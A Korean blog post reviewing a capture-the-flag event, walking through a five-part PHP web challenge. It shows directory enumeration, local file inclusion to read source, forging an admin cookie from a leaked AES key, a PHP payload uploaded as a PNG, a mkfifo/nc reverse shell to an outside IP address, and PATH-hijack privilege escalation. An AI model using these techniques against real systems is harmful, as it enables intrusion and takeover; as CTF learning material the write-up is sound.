[24h@CTF] review

yoobi·2022년 5월 31일
0

Team : yoobi(solo)
Rank : 317/426th

Review

web 문제가 주어진 하나의 사이트에서 #1~#5까지 FLAG를 계속 찾는 문제가 나왔었다. write-up을 보니 그래도 많이 접근할 수 있었는데, 문제 이름이나 설명에 힌트가 없을 경우 접근을 잘 못하는 것 같다. 특정 상황에서 어떻게 접근해야하는지를 알려면 많이 보는 수 밖에 없으니, 더 많고 다양한 문제들을 풀어보자

Web

[Desjardins] Jamais Sans Mon Riz #1~#2

FLAG#1

https://erichogue.ca/2022/02/24hCTFJamaisSansMonRiz

사이트가 하나 주어진다. 어떠한 힌트가 존재하지는 않기때문에, 혹시나 하는 생각으로 robots.txt에 접근하였더니 FLAG가 있었다.

write-up을 확인해보니,
이러한 상황일 때, gobuster를 사용하여 빠르게 scanning 하는 것도 좋은 방법인 것 같다

# gobuster dir -e -u http://www.jamaissansmonriz.com/ -t30 -w ./common.txt  -xjs,txt,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://www.jamaissansmonriz.com/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                ./common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,js,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/02/07 20:49:09 Starting gobuster in directory enumeration mode
===============================================================
http://www.jamaissansmonriz.com/.htpasswd.txt        (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd.php        (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd            (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htpasswd.js         (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess            (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.txt        (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.php        (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.htaccess.js         (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta                 (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.js              (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.txt             (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/.hta.php             (Status: 403) [Size: 289]
http://www.jamaissansmonriz.com/about.php            (Status: 200) [Size: 6793]
http://www.jamaissansmonriz.com/admin                (Status: 301) [Size: 336] [--> http://www.jamaissansmonriz.com/admin/]
http://www.jamaissansmonriz.com/assets               (Status: 301) [Size: 337] [--> http://www.jamaissansmonriz.com/assets/]
http://www.jamaissansmonriz.com/contact.php          (Status: 200) [Size: 6965]
http://www.jamaissansmonriz.com/css                  (Status: 301) [Size: 334] [--> http://www.jamaissansmonriz.com/css/]
http://www.jamaissansmonriz.com/favicon.ico          (Status: 200) [Size: 23462]
http://www.jamaissansmonriz.com/footer.php           (Status: 200) [Size: 1898]
http://www.jamaissansmonriz.com/header.php           (Status: 200) [Size: 1163]
http://www.jamaissansmonriz.com/img                  (Status: 301) [Size: 334] [--> http://www.jamaissansmonriz.com/img/]
http://www.jamaissansmonriz.com/index.php            (Status: 200) [Size: 8121]
http://www.jamaissansmonriz.com/index.php            (Status: 200) [Size: 8121]
http://www.jamaissansmonriz.com/js                   (Status: 301) [Size: 333] [--> http://www.jamaissansmonriz.com/js/]
http://www.jamaissansmonriz.com/post.php             (Status: 200) [Size: 10070]
http://www.jamaissansmonriz.com/posts                (Status: 301) [Size: 336] [--> http://www.jamaissansmonriz.com/posts/]
http://www.jamaissansmonriz.com/robots.txt           (Status: 200) [Size: 64]
http://www.jamaissansmonriz.com/robots.txt           (Status: 200) [Size: 64]
http://www.jamaissansmonriz.com/server-status        (Status: 403) [Size: 289]

===============================================================
2022/02/07 20:51:11 Finished
===============================================================


FLAG#1 : FLAG{1_dur_dur_detre_un_robot}

FLAG#2

다음으로는 파일다운로드 취약점이 존재한다.
이는 robots.txt를 찾기도 전에 먼저 발견해서 어떻게 FLAG를 얻는 것인지 계속 뒤져보고 있었다.

robots.txt의 Disallow, 그리고 gobuster의 결과 값으로 /admin/의 존재여부를 알 수 있다
접속해보면 /admin/login.php 이다

파일다운로드 취약점이 존재하는 부분은 post.php 이다

post.php는 posts/1.php를 불러와주는 서비스를 하고 있다
즉, /admin/login.php는 php 파일이라 바로 내용을 확인할 수 없다

따라서 LFI convert.base64-encode를 활용하여 파일을 추출한다

base64로 디코딩하면 아래와 같다

<?php

// FLAG{2_je_me_sens_tellement_inclu}

include_once("lib/crypto.php");
session_start();

if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
    header("Location: /admin/index.php");
    exit();
}

// Validate Remember Me
if(isset($_COOKIE["remember_me"])) {
    if ($remember_me = validate_remember_me_cookie($_COOKIE["remember_me"])) {
        $_SESSION["admin"] = true;
        $_SESSION["username"] = "admin";
        header("Location: /admin/index.php");
        exit();
    }
}


// Validate login

if(isset($_POST["email"]) && isset($_POST["password"])) {
    // TODO: Ajouter une base de donnees, comme ca on ne riz plus
    if($_POST["email"] === "admin@jamaissansmonriz.com" && $_POST["password"] === getenv("FLAG4")) {
        
        $_SESSION["admin"] = true;
        $_SESSION["username"] = "admin";

        if(isset($_POST["remember_me"]) && $_POST["remember_me"] === "on") {
            setcookie("remember_me", generate_remember_me_cookie($_SESSION["username"], "1"), time()+3600*24*30, "/", "", 0);
        }   
        header("Location: /admin/index.php");
        exit();
    }
}



?>


<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>SB Admin 2 - Login</title>

    <!-- Custom fonts for this template-->
    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
    <link
        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
        rel="stylesheet">

    <!-- Custom styles for this template-->
    <link href="css/sb-admin-2.min.css" rel="stylesheet">

</head>

<body class="bg-gradient-primary">

    <div class="container">

        <!-- Outer Row -->
        <div class="row justify-content-center">

            <div class="col-xl-10 col-lg-12 col-md-9">

                <div class="card o-hidden border-0 shadow-lg my-5">
                    <div class="card-body p-0">
                        <!-- Nested Row within Card Body -->
                        <div class="row">
                            <div class="col-lg-6 d-none d-lg-block bg-login-image"></div>
                            <div class="col-lg-6">
                                <div class="p-5">
                                    <div class="text-center">
                                        <h1 class="h4 text-gray-900 mb-4">Welcome Back!</h1>
                                    </div>
                                    <form class="user" action="login.php" method="post">
                                        <div class="form-group">
                                            <input name="email" type="email" class="form-control form-control-user"
                                                id="exampleInputEmail" aria-describedby="emailHelp"
                                                placeholder="admin@jamaissansmonriz.com" required>
                                        </div>
                                        <div class="form-group">
                                            <input name="password" type="password" class="form-control form-control-user"
                                                id="exampleInputPassword" placeholder="Password" required>
                                        </div>
                                        <div class="form-group">
                                            <div class="custom-control custom-checkbox small">
                                                <input name="remember_me" type="checkbox" class="custom-control-input" id="customCheck">
                                                <label class="custom-control-label" for="customCheck">Remember Me</label>
                                            </div>
                                        </div>
                                        <input type="submit" class="btn btn-primary btn-user btn-block" value="Login">
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>

        </div>

    </div>

    <!-- Bootstrap core JavaScript-->
    <script src="vendor/jquery/jquery.min.js"></script>
    <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

    <!-- Core plugin JavaScript-->
    <script src="vendor/jquery-easing/jquery.easing.min.js"></script>

    <!-- Custom scripts for all pages-->
    <script src="js/sb-admin-2.min.js"></script>

</body>

</html>

FLAG#2 : FLAG{2_je_me_sens_tellement_inclu}

FLAG#3

위의 php코드를 통해,
lib/crypto.php가 존재하며,
validate_remember_me_cookie(), generate_remember_me_cookie() 등이 구현되어 있다는 것을 알 수 있다

LFI base64 download로 admin/lib/crypto.php도 다운받아서 decoding하면 아래와 같다

<?php

$key = "5UP3R_S3CURE,K3Y";
$cipher="AES-128-CBC";

function generate_remember_me_cookie($username, $admin) {
    $iv = substr(md5(mt_rand()), 0, 16);
    $t = time() + (3600 * 24 * 365);
    $data = $username . "|" . $t . "|" . $admin;
    return base64_encode(encrypt($data, $iv) . "|" . $iv);
}

function validate_remember_me_cookie($cookie) {
    global $key, $cipher;
    try {
        $cookie_expended = explode("|", base64_decode($cookie));
        $decrypted_cookie = decrypt($cookie_expended[0], $cookie_expended[1]);
        
        if(!$decrypted_cookie) {
            return false;
        }

        $exp_d_cookie = explode("|", $decrypted_cookie);
        
        if ($exp_d_cookie[1] < time()) {
            return false;
        }
        // TODO: Ajouter des comptes user
        if ($exp_d_cookie[2] != "1") {
            return false;
        }
    } catch (Exception $e) {
        throw $e;
        return false;
    }

    return $exp_d_cookie;
}

function encrypt($data, $iv) {
    global $key, $cipher;
    // $ciphertext_raw = openssl_encrypt($data, $cipher, $key, 0, $iv);
    // return base64_encode(ciphertext_raw);
    return openssl_encrypt($data, $cipher, $key, 0, $iv);
}

function decrypt($cookie, $iv) {
    global $key, $cipher;
    // $ciphertext_raw = base64_decode($cookie);
    // return openssl_decrypt($ciphertext_raw, $cipher, $key, 0, $iv);
    return openssl_decrypt($cookie, $cipher, $key, 0, $iv);
}

?>

generate_remember_me_cookie() 함수가 존재하므로
위 함수의 param으로 $username="admin", $admin=true를 주고 generate를 진행한다

위의 값을 COOKIE["remember_me"]에 넣어서 새로고침하면 admin으로 로그인할 수 있다

FLAG#3 : FLAG{3_you_get_a_token_you_get_a_token_you_get_a_token}

FLAG#4

좌측에 Uploads 서비스가 존재한다
서비스하는 admin/upload.php 파일 또한 LFI Donwload 하면

<?php
    require_once("header.php");
?>


                <!-- Begin Page Content -->
                <div class="container-fluid">

                    <!-- Page Heading -->
                    <h1 class="h3 mb-4 text-gray-800">Uploads</h1>
                </div>
                <div class="container-fluid">
                    <div class="alert alert-primary" role="alert">You can upload your favorite png and jpg here! You know, for safe keeping!</div>
                    <form action="upload.php" method="post" enctype="multipart/form-data">
                        <div class="form-group">
                            <div class="custom-file">
                                <input name="file" type="file" class="custom-file-input" id="customFile">
                                <label class="custom-file-label" for="customFile">Choose file</label>
                            </div>
                        </div>
                        <div class="form-group">
                            <button type="submit" class="btn btn-primary">Upload</button>
                        </div>
                    </form>
                    <script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha384-A7FZj7v+d/sdmMqp/nOQwliLvUsJfDHW+k9Omg/a/EheAdgtzNs3hpfag6Ed950n" crossorigin="anonymous"></script>
                    <script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="sha384-DztdAPBWPRXSA/3eYEEUWrWCy7G5KFbe8fFjk5JAIxUYHKkDx6Qin1DkWx51bBrb" crossorigin="anonymous"></script>
                    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
                    <script>
                        $('#customFile').on('change',function(){
                            //get the file name
                            var fileName = $(this).val();
                            //replace the "Choose a file" label
                            var cleanFileName = fileName.replace('C:\\fakepath\\', "");
                            $(this).next('.custom-file-label').html(cleanFileName);
                        })
                    </script>

                <?php
                    
                    if (isset($_FILES['file'])) {
                        $uploaddir = '/var/www/uploads/' . session_id() . '/';
                        $path_parts = pathinfo($_FILES['file']['name']);
                        $filename = $path_parts['basename'];
                        $valid_ext = ["jpg", "png"];
                        if(in_array($path_parts['extension'], $valid_ext, true)) {
                            if (!file_exists($uploaddir)) {
                                mkdir($uploaddir, 0755, true);
                            }
                            $uploadfile = $uploaddir . $filename;
                            
                            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                                echo '<div class="alert alert-success" role="alert"> File is valid, and was successfully and securely uploaded.</div>';
                            } else {
                                echo '<div class="alert alert-danger" role="alert">What did you do... I\'m not mad, I\'m just disappointed...</div>';
                            }
                        } else {
                            echo '<div class="alert alert-danger" role="alert">What did you do... I\'m not mad, I\'m just disappointed...</div>';
                        }
                    }
                ?>
                </div>
                <!-- /.container-fluid -->

<?php
    include_once("footer.php");
?>

$uploaddir = '/var/www/uploads/' . session_id() . '/';
로 파일이 업로드되는 것을 알 수 있다
즉, 업로드되는 파일의 위치를 알 수 있다

또한, post.php에서는 아래와 같이 include($_GET["postid"]); 로 실행을 하는 것을 알 수 있다
php에서 include는 확장자가 php가 아니더라도 php 코드를 실행해준다

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title>Clean Blog - Start Bootstrap Theme</title>
        <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
        <!-- Font Awesome icons (free version)-->
        <script src="https://use.fontawesome.com/releases/v5.15.4/js/all.js" crossorigin="anonymous"></script>
        <!-- Google fonts-->
        <link href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic" rel="stylesheet" type="text/css" />
        <link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800" rel="stylesheet" type="text/css" />
        <!-- Core theme CSS (includes Bootstrap)-->
        <link href="css/styles.css" rel="stylesheet" />
    </head>
    <body>

        
<?php 
    include("header.php");
?>

<?php
    if(isset($_GET["postid"])) {
        // include($_GET["postid"] . ".php");
        if(preg_match("/\.conf$/", $_GET["postid"])) {
            die();
        }
        include($_GET["postid"]);
    } else {
        include("posts/1.php");
    }
?>

<?php
    include("footer.php");
?>
        
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
        <!-- Core theme JS-->
        <script src="js/scripts.js"></script>
    </body>
</html>

따라서, /admin/login.php를 통해 알 수 있었던 env로 저장되어 있는 FLAG4를 echo로 출력해준다
업로드한 flag.png는 아래와 같다

<?php
	echo getenv("FLAG4");
?>

FLAG#4 : FLAG{4_good_job_devient_root_maintenant}

FLAG#5

마지막 FLAG#5는 보이지 않으므로, RCE에 도전한다

FLAG4를 읽은 것과 같은 원리로,
아래와 같은 코드를 통해 RCE가 가능하다

<?php
	echo system("ls -al");
?>


nc로 reverse shell을 시도한다

nc로 열어주고 include로 실행되는 php 코드에 아래와 같이 작성한다

<?php
	system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 13.124.227.195 58588 >/tmp/f")
?>

"nc -e /bin/sh IP_ADDR PORT"를 많이 봤지만,
nc 중 -c, -e 옵션이 존재하지 않는 버전이 존재한다

위와 같이 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 13.124.227.195 58588 >/tmp/f"로 연결이 가능하다

my_very_special_script.c라는 파일을 발견할 수 있는데,
setuid(1000); 걸려있다

1000은 admin으로 setuid()가 걸려있는 것으로 보아 admin 계정을 얻어야함을 알 수 있다

이때 system으로 "touch /tmp/hello_world"를 실행한다

아래와 같이 공격이 가능하다

// 임시 디렉토리 생성
$ mkdir /tmp/yoobi

// 생성한 임시 디렉토리로 이동
$ cd /tmp/yoobi

// "touch" 라는 파일명을 가진 shell script 제작
$ cat > touch
#!/bin/sh
/bin/sh

// "touch"에 실행권한 부여
$ chmod +x touch

// 환경변수 조작, 이로 인해 /bin/touch가 아닌 /tmp/yoobi/touch가 실행된다
$ PATH=/tmp/yoobi
$ export PATH

// 파일 실행
$ /my_very_special_script.o

// 여기부터 admin의 shell을 획득
// 실제 공격 시 $ 표시가 사라지지만 편의상 추가

// 환경변수를 조작하였으므로, 명령어를 /bin/~ 으로 실행한다
$ /bin/id
uid=1000(admin) gid=33(www-data) groups=33(www-data)

$ /bin/ls -al /home/admin
total 24
dr-x------ 1 admin admin 4096 Feb  5 11:26 .
drwxr-xr-x 1 root  root  4096 Feb  5 11:26 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-r--r--r-- 1 root  root    36 Feb  5 11:26 flag.txt

$ /bin/cat /home/admin/flag.txt
FLAG{5_la_track_est_enfin_finie_gj}

FLAG#5 : FLAG{5_la_track_est_enfin_finie_gj}

※ robots.txt check
※ File Download -> php LFI 연결 발상 장착
※ session cookie
※ PHP include는 확장자 check 없이 php 코드를 실행한다
※ reverse shell, -c -e 없이 하는 방법 기억
※ privilege escalation 기억

profile
this is yoobi

0개의 댓글